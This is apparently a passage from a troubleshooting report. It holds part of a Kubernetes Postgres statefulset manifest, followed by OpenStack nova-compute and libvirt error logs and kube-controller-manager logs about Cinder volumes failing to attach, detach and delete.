     - configmapref:\r               name: asciinema\r       volumes:\r         - name: postgres-data\r           persistentvolumeclaim:\r             claimname: postgres-data\r   volumeclaimtemplates:\r   - metadata:\r       name: postgres-data\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: \ platinum-express-storage\ \r       resources:\r         requests:\r           storage: 5gi\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: postgres\r   namespace: asciinema\r spec:\r   selector:\r     app: asciinema-postgres\r   ports:\r   - protocol: tcp\r     port: 5432\r     targetport: 5432\r \r    \r \r libvirt logs:\r  2018-07-27 14:02:06.138+0000: shutting down, reason=crashed \r \r openstack nova-compute logs:\r    \r 2018-07-27 14:02:06.320 31051 error nova.compute.manager  req-861810ef-857c-4ad1-9814-01e085b1014b 3c406478c0e0430f96a4b05ae778c448 18a54445e6144924a5e8238780688e9e - - -   instance: 2a67800a-d192-4332-823f-2159dde235b2  failed to attach c2ba9d25-7679-43c6-9b7e-d8214d4b6ef6 at /dev/vdc\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server traceback  most recent call last :\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_messaging/rpc/server.py\ , line 155, in _process_incoming\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     res = self.dispatcher.dispatch message \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_messaging/rpc/dispatcher.py\ , line 222, in dispatch\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     return self._do_dispatch endpoint, method, ctxt, args \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_messaging/rpc/dispatcher.py\ , line 192, in _do_dispatch\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     result = func ctxt,   new_args \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/exception_wrapper.py\ , line 75, in wrapped\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     function_name, call_dict, binary \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 220, in __exit__\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.force_reraise  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 196, in force_reraise\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise self.type_, self.value, self.tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/exception_wrapper.py\ , line 66, in wrapped\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     return f self, context,  args,   kw \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 216, in decorated_function\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     kwargs 'instance' , e, sys.exc_info   \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 220, in __exit__\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.force_reraise  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 196, in force_reraise\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise self.type_, self.value, self.tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 204, in decorated_function\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     return function self, context,  args,   kwargs \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 4828, in attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     do_attach_volume context, instance, driver_bdm \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_concurrency/lockutils.py\ , line 274, in inner\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     return f  args,   kwargs \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 4826, in do_attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     bdm.destroy  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 220, in __exit__\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.force_reraise  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 196, in force_reraise\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise self.type_, self.value, self.tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 4823, in do_attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     return self._attach_volume context, instance, driver_bdm \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 4846, in _attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.volume_api.unreserve_volume context, bdm.volume_id \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 220, in __exit__\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.force_reraise  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 196, in force_reraise\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise self.type_, self.value, self.tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/compute/manager.py\ , line 4838, in _attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     do_check_attach=false, do_driver_attach=true \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/virt/block_device.py\ , line 48, in wrapped\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     ret_val = method obj, context,  args,   kwargs \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/virt/block_device.py\ , line 282, in attach\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     connector \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 220, in __exit__\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.force_reraise  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 196, in force_reraise\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise self.type_, self.value, self.tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/virt/block_device.py\ , line 273, in attach\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     device_type=self 'device_type' , encryption=encryption \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/virt/libvirt/driver.py\ , line 1279, in attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self._disconnect_volume connection_info, disk_dev \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 220, in __exit__\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self.force_reraise  \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/oslo_utils/excutils.py\ , line 196, in force_reraise\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise self.type_, self.value, self.tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/virt/libvirt/driver.py\ , line 1268, in attach_volume\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     guest.attach_device conf, persistent=true, live=live \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/nova/virt/libvirt/guest.py\ , line 309, in attach_device\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     self._domain.attachdeviceflags device_xml, flags=flags \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/eventlet/tpool.py\ , line 186, in doit\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     result = proxy_call self._autowrap, f,  args,   kwargs \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/eventlet/tpool.py\ , line 144, in proxy_call\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     rv = execute f,  args,   kwargs \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/eventlet/tpool.py\ , line 125, in execute\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     six.reraise c, e, tb \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/eventlet/tpool.py\ , line 83, in tworker\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     rv = meth  args,   kwargs \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/dist-packages/libvirt.py\ , line 560, in attachdeviceflags\r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server     if ret == -1: raise libvirterror  'virdomainattachdeviceflags   failed', dom=self \r 2018-07-27 14:02:06.443 31051 error oslo_messaging.rpc.server libvirterror: unable to read from monitor: connection reset by peer\r    \r \r logs from kube-controller-manager:\r    \r i0727 14:22:26.855291       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ 7cbcd34f-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351049\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create claim postgres-data-asciinema-postgres-0 pod asciinema-postgres-0 in statefulset asciinema-postgres success\r i0727 14:22:26.891499       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ 7cbcd34f-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351049\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-postgres-0 in statefulset asciinema-postgres successful\r e0727 14:22:26.958705       1 pvc_protection_controller.go:138  pvc asciinema/postgres-data-asciinema-postgres-0 failed with : operation cannot be fulfilled on persistentvolumeclaims \ postgres-data-asciinema-postgres-0\ : the object has been modified; please apply your changes to the latest version and try again\r e0727 14:22:26.994677       1 pvc_protection_controller.go:138  pvc asciinema/postgres-data-asciinema-postgres-0 failed with : operation cannot be fulfilled on persistentvolumeclaims \ postgres-data-asciinema-postgres-0\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:22:27.001285       1 util.go:532  detected statefulset-style volume name \ postgres-data-asciinema-postgres-0\ ; index=0\r i0727 14:22:27.002853       1 util.go:461  creating volume for pvc \ postgres-data-asciinema-postgres-0\ ; chose zone=\ nova\  from zones= \ nova\  \r i0727 14:22:27.194721       1 service_controller.go:326  not persisting unchanged loadbalancerstatus for service asciinema/postgres to registry.\r i0727 14:22:27.645596       1 openstack_volumes.go:467  created volume 10a1f7c4-2aff-4d43-9db4-852d5897192e in availability zone: nova ignore volume az: false\r i0727 14:22:27.645710       1 cinder_util.go:216  successfully created cinder volume 10a1f7c4-2aff-4d43-9db4-852d5897192e\r i0727 14:22:27.653514       1 pv_controller.go:1516  volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  provisioned for claim \ asciinema/postgres-data-asciinema-postgres-0\ \r i0727 14:22:27.653924       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ asciinema\ , name:\ postgres-data-asciinema-postgres-0\ , uid:\ 7cc1f883-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351061\ , fieldpath:\ \ } : type: 'normal' reason: 'provisioningsucceeded' successfully provisioned volume pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8 using kubernetes.io/cinder\r i0727 14:22:27.666826       1 pv_controller.go:771  volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  entered phase \ bound\ \r i0727 14:22:27.667167       1 pv_controller.go:910  volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  bound to claim \ asciinema/postgres-data-asciinema-postgres-0\ \r e0727 14:22:27.683787       1 pv_protection_controller.go:116  pv pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:22:27.697318       1 pv_controller.go:715  claim \ asciinema/postgres-data-asciinema-postgres-0\  entered phase \ bound\ \r e0727 14:22:27.704952       1 pv_protection_controller.go:116  pv pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:22:27.908087       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/10a1f7c4-2aff-4d43-9db4-852d5897192e\   from node \ k8s-node03\  \r i0727 14:22:29.276822       1 openstack_volumes.go:361  successfully attached 10a1f7c4-2aff-4d43-9db4-852d5897192e volume to 67573de4-d5f1-4eba-a285-7a225bdd701e compute\r i0727 14:22:30.112141       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-redis\ , uid:\ 7eae6eed-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351082\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create claim redis-data-asciinema-redis-0 pod asciinema-redis-0 in statefulset asciinema-redis success\r e0727 14:22:30.169657       1 pvc_protection_controller.go:138  pvc asciinema/redis-data-asciinema-redis-0 failed with : operation cannot be fulfilled on persistentvolumeclaims \ redis-data-asciinema-redis-0\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:22:30.176301       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-redis\ , uid:\ 7eae6eed-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351082\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-redis-0 in statefulset asciinema-redis successful\r i0727 14:22:30.231653       1 util.go:532  detected statefulset-style volume name \ redis-data-asciinema-redis-0\ ; index=0\r i0727 14:22:30.231729       1 util.go:461  creating volume for pvc \ redis-data-asciinema-redis-0\ ; chose zone=\ nova\  from zones= \ nova\  \r i0727 14:22:30.301233       1 service_controller.go:326  not persisting unchanged loadbalancerstatus for service asciinema/redis to registry.\r i0727 14:22:30.576847       1 openstack_volumes.go:467  created volume efbe4b06-414c-4100-99c2-9870bb729ade in availability zone: nova ignore volume az: false\r i0727 14:22:30.577137       1 cinder_util.go:216  successfully created cinder volume efbe4b06-414c-4100-99c2-9870bb729ade\r i0727 14:22:30.586789       1 pv_controller.go:1516  volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  provisioned for claim \ asciinema/redis-data-asciinema-redis-0\ \r i0727 14:22:30.588336       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ asciinema\ , name:\ redis-data-asciinema-redis-0\ , uid:\ 7eb242aa-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351089\ , fieldpath:\ \ } : type: 'normal' reason: 'provisioningsucceeded' successfully provisioned volume pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8 using kubernetes.io/cinder\r i0727 14:22:30.597969       1 pv_controller.go:771  volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  entered phase \ bound\ \r i0727 14:22:30.598050       1 pv_controller.go:910  volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  bound to claim \ asciinema/redis-data-asciinema-redis-0\ \r e0727 14:22:30.598442       1 pv_protection_controller.go:116  pv pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:22:30.621280       1 pv_controller.go:715  claim \ asciinema/redis-data-asciinema-redis-0\  entered phase \ bound\ \r i0727 14:22:30.782672       1 attacher.go:157  attach operation successful: volume \ 10a1f7c4-2aff-4d43-9db4-852d5897192e\  attached to instance \ 67573de4-d5f1-4eba-a285-7a225bdd701e\ .\r i0727 14:22:31.075452       1 operation_generator.go:332  attachvolume.attach succeeded for volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/10a1f7c4-2aff-4d43-9db4-852d5897192e\   from node \ k8s-node03\  \r i0727 14:22:31.075959       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-postgres-0\ , uid:\ 7cc41b43-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351074\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulattachvolume' attachvolume.attach succeeded for volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  \r i0727 14:22:31.223066       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/efbe4b06-414c-4100-99c2-9870bb729ade\   from node \ k8s-node02\  \r i0727 14:22:32.491177       1 openstack_volumes.go:361  successfully attached efbe4b06-414c-4100-99c2-9870bb729ade volume to 2a67800a-d192-4332-823f-2159dde235b2 compute\r i0727 14:22:33.800646       1 attacher.go:157  attach operation successful: volume \ efbe4b06-414c-4100-99c2-9870bb729ade\  attached to instance \ 2a67800a-d192-4332-823f-2159dde235b2\ .\r i0727 14:22:33.970729       1 operation_generator.go:332  attachvolume.attach succeeded for volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/efbe4b06-414c-4100-99c2-9870bb729ade\   from node \ k8s-node02\  \r i0727 14:22:33.971243       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 7eb59eb7-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351107\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulattachvolume' attachvolume.attach succeeded for volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  \r i0727 14:22:34.142635       1 wrap.go:42  get /healthz:  33.438µs  200   kube-probe/1.10  127.0.0.1:48196 \r i0727 14:22:44.142404       1 wrap.go:42  get /healthz:  19.741µs  200   kube-probe/1.10  127.0.0.1:48222 \r i0727 14:22:54.142402       1 wrap.go:42  get /healthz:  19.3µs  200   kube-probe/1.10  127.0.0.1:48238 \r i0727 14:23:04.142614       1 wrap.go:42  get /healthz:  30.917µs  200   kube-probe/1.10  127.0.0.1:48254 \r i0727 14:23:14.142448       1 wrap.go:42  get /healthz:  23.34µs  200   kube-probe/1.10  127.0.0.1:48270 \r w0727 14:23:23.599352       1 reconciler.go:235  attacherdetacher.detachvolume started for volume \ pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\   on node \ k8s-node03\  this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\r i0727 14:23:24.142532       1 wrap.go:42  get /healthz:  41.448µs  200   kube-probe/1.10  127.0.0.1:48290 \r e0727 14:23:24.549365       1 attacher.go:384  error detaching volume \ 4bedddfb-d477-4c85-af54-12d3d43353ab\  from node \ k8s-node03\ : can not detach volume kubernetes-dynamic-pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8, its status is error\r e0727 14:23:24.549571       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\\\ \  failed. no retries permitted until 2018-07-27 14:25:26.549481467 +0000 utc m=+187232.581318807  durationbeforeretry 2m2s . error: \ detachvolume.detach failed for volume \\\ pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\\\   on node \\\ k8s-node03\\\  : can not detach volume kubernetes-dynamic-pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8, its status is error\ \r i0727 14:23:34.142640       1 wrap.go:42  get /healthz:  33.301µs  200   kube-probe/1.10  127.0.0.1:48310 \r i0727 14:23:44.142588       1 wrap.go:42  get /healthz:  24.565µs  200   kube-probe/1.10  127.0.0.1:48336 \r i0727 14:23:54.142727       1 wrap.go:42  get /healthz:  27.75µs  200   kube-probe/1.10  127.0.0.1:48352 \r i0727 14:24:04.142443       1 wrap.go:42  get /healthz:  23.926µs  200   kube-probe/1.10  127.0.0.1:48368 \r i0727 14:24:14.142387       1 wrap.go:42  get /healthz:  20.366µs  200   kube-probe/1.10  127.0.0.1:48384 \r i0727 14:24:24.142638       1 wrap.go:42  get /healthz:  27.802µs  200   kube-probe/1.10  127.0.0.1:48400 \r i0727 14:24:34.142604       1 wrap.go:42  get /healthz:  14.586µs  200   kube-probe/1.10  127.0.0.1:48416 \r i0727 14:24:44.142434       1 wrap.go:42  get /healthz:  23.9µs  200   kube-probe/1.10  127.0.0.1:48442 \r i0727 14:24:54.142421       1 wrap.go:42  get /healthz:  23.48µs  200   kube-probe/1.10  127.0.0.1:48456 \r i0727 14:25:04.142445       1 wrap.go:42  get /healthz:  22.906µs  200   kube-probe/1.10  127.0.0.1:48472 \r i0727 14:25:05.338674       1 garbagecollector.go:364  processing item  apps/v1/controllerrevision, namespace: asciinema, name: asciinema-redis-75fc848764, uid: 7eb002c3-91a8-11e8-bf50-fa163e50aec8 \r i0727 14:25:05.339148       1 stateful_set.go:427  statefulset has been deleted asciinema/asciinema-redis\r i0727 14:25:05.339340       1 garbagecollector.go:364  processing item  v1/pod, namespace: asciinema, name: asciinema-redis-0, uid: 7eb59eb7-91a8-11e8-bf50-fa163e50aec8 \r i0727 14:25:05.364547       1 service_controller.go:726  service has been deleted asciinema/redis. attempting to cleanup load balancer resources\r i0727 14:25:05.366687       1 garbagecollector.go:474  delete object  apps/v1/controllerrevision, namespace: asciinema, name: asciinema-redis-75fc848764, uid: 7eb002c3-91a8-11e8-bf50-fa163e50aec8  with propagation policy background\r i0727 14:25:05.370531       1 garbagecollector.go:474  delete object  v1/pod, namespace: asciinema, name: asciinema-redis-0, uid: 7eb59eb7-91a8-11e8-bf50-fa163e50aec8  with propagation policy background\r i0727 14:25:08.619346       1 garbagecollector.go:364  processing item  apps/v1/controllerrevision, namespace: asciinema, name: asciinema-postgres-75b759b58d, uid: 7cbf6c4e-91a8-11e8-bf50-fa163e50aec8 \r i0727 14:25:08.619898       1 stateful_set.go:427  statefulset has been deleted asciinema/asciinema-postgres\r i0727 14:25:08.620368       1 garbagecollector.go:364  processing item  v1/pod, namespace: asciinema, name: asciinema-postgres-0, uid: 7cc41b43-91a8-11e8-bf50-fa163e50aec8 \r i0727 14:25:08.625190       1 garbagecollector.go:474  delete object  apps/v1/controllerrevision, namespace: asciinema, name: asciinema-postgres-75b759b58d, uid: 7cbf6c4e-91a8-11e8-bf50-fa163e50aec8  with propagation policy background\r i0727 14:25:08.626431       1 garbagecollector.go:474  delete object  v1/pod, namespace: asciinema, name: asciinema-postgres-0, uid: 7cc41b43-91a8-11e8-bf50-fa163e50aec8  with propagation policy background\r i0727 14:25:08.666498       1 service_controller.go:726  service has been deleted asciinema/postgres. attempting to cleanup load balancer resources\r i0727 14:25:14.142408       1 wrap.go:42  get /healthz:  16.806µs  200   kube-probe/1.10  127.0.0.1:48488 \r i0727 14:25:14.837979       1 reconciler.go:233  attacherdetacher.detachvolume started for volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/efbe4b06-414c-4100-99c2-9870bb729ade\   on node \ k8s-node02\  \r i0727 14:25:14.840933       1 operation_generator.go:1219  verified volume is safe to detach for volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/efbe4b06-414c-4100-99c2-9870bb729ade\   on node \ k8s-node02\  \r i0727 14:25:15.251329       1 pv_controller.go:559  volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  is released and reclaim policy \ delete\  will be executed\r i0727 14:25:15.263553       1 pv_controller.go:771  volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  entered phase \ released\ \r i0727 14:25:15.266621       1 pv_controller.go:1248  isvolumereleased pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8 : volume is released\r i0727 14:25:15.488253       1 cinder_util.go:139  error deleting cinder volume efbe4b06-414c-4100-99c2-9870bb729ade: cannot delete the volume \ efbe4b06-414c-4100-99c2-9870bb729ade\ , it's still attached to a node\r e0727 14:25:15.488457       1 goroutinemap.go:150  operation for \ delete-pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8 7efc1467-91a8-11e8-bf50-fa163e50aec8 \  failed. no retries permitted until 2018-07-27 14:25:15.988370768 +0000 utc m=+187222.020208125  durationbeforeretry 500ms . error: \ cannot delete the volume \\\ efbe4b06-414c-4100-99c2-9870bb729ade\\\ , it's still attached to a node\ \r i0727 14:25:15.488942       1 event.go:218  event v1.objectreference{kind:\ persistentvolume\ , namespace:\ \ , name:\ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\ , uid:\ 7efc1467-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351458\ , fieldpath:\ \ } : type: 'normal' reason: 'volumedelete' cannot delete the volume \ efbe4b06-414c-4100-99c2-9870bb729ade\ , it's still attached to a node\r i0727 14:25:16.270101       1 openstack_volumes.go:397  successfully detached volume: efbe4b06-414c-4100-99c2-9870bb729ade from compute: 2a67800a-d192-4332-823f-2159dde235b2\r i0727 14:25:16.818695       1 reconciler.go:233  attacherdetacher.detachvolume started for volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/10a1f7c4-2aff-4d43-9db4-852d5897192e\   on node \ k8s-node03\  \r i0727 14:25:16.821823       1 operation_generator.go:1219  verified volume is safe to detach for volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/10a1f7c4-2aff-4d43-9db4-852d5897192e\   on node \ k8s-node03\  \r i0727 14:25:17.019576       1 pv_controller.go:559  volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  is released and reclaim policy \ delete\  will be executed\r i0727 14:25:17.028508       1 pv_controller.go:771  volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  entered phase \ released\ \r i0727 14:25:17.031237       1 pv_controller.go:1248  isvolumereleased pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8 : volume is released\r i0727 14:25:17.278604       1 cinder_util.go:139  error deleting cinder volume 10a1f7c4-2aff-4d43-9db4-852d5897192e: cannot delete the volume \ 10a1f7c4-2aff-4d43-9db4-852d5897192e\ , it's still attached to a node\r e0727 14:25:17.278851       1 goroutinemap.go:150  operation for \ delete-pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8 7d3cc51c-91a8-11e8-bf50-fa163e50aec8 \  failed. no retries permitted until 2018-07-27 14:25:17.778828016 +0000 utc m=+187223.810665376  durationbeforeretry 500ms . error: \ cannot delete the volume \\\ 10a1f7c4-2aff-4d43-9db4-852d5897192e\\\ , it's still attached to a node\ \r i0727 14:25:17.279241       1 event.go:218  event v1.objectreference{kind:\ persistentvolume\ , namespace:\ \ , name:\ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\ , uid:\ 7d3cc51c-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351468\ , fieldpath:\ \ } : type: 'normal' reason: 'volumedelete' cannot delete the volume \ 10a1f7c4-2aff-4d43-9db4-852d5897192e\ , it's still 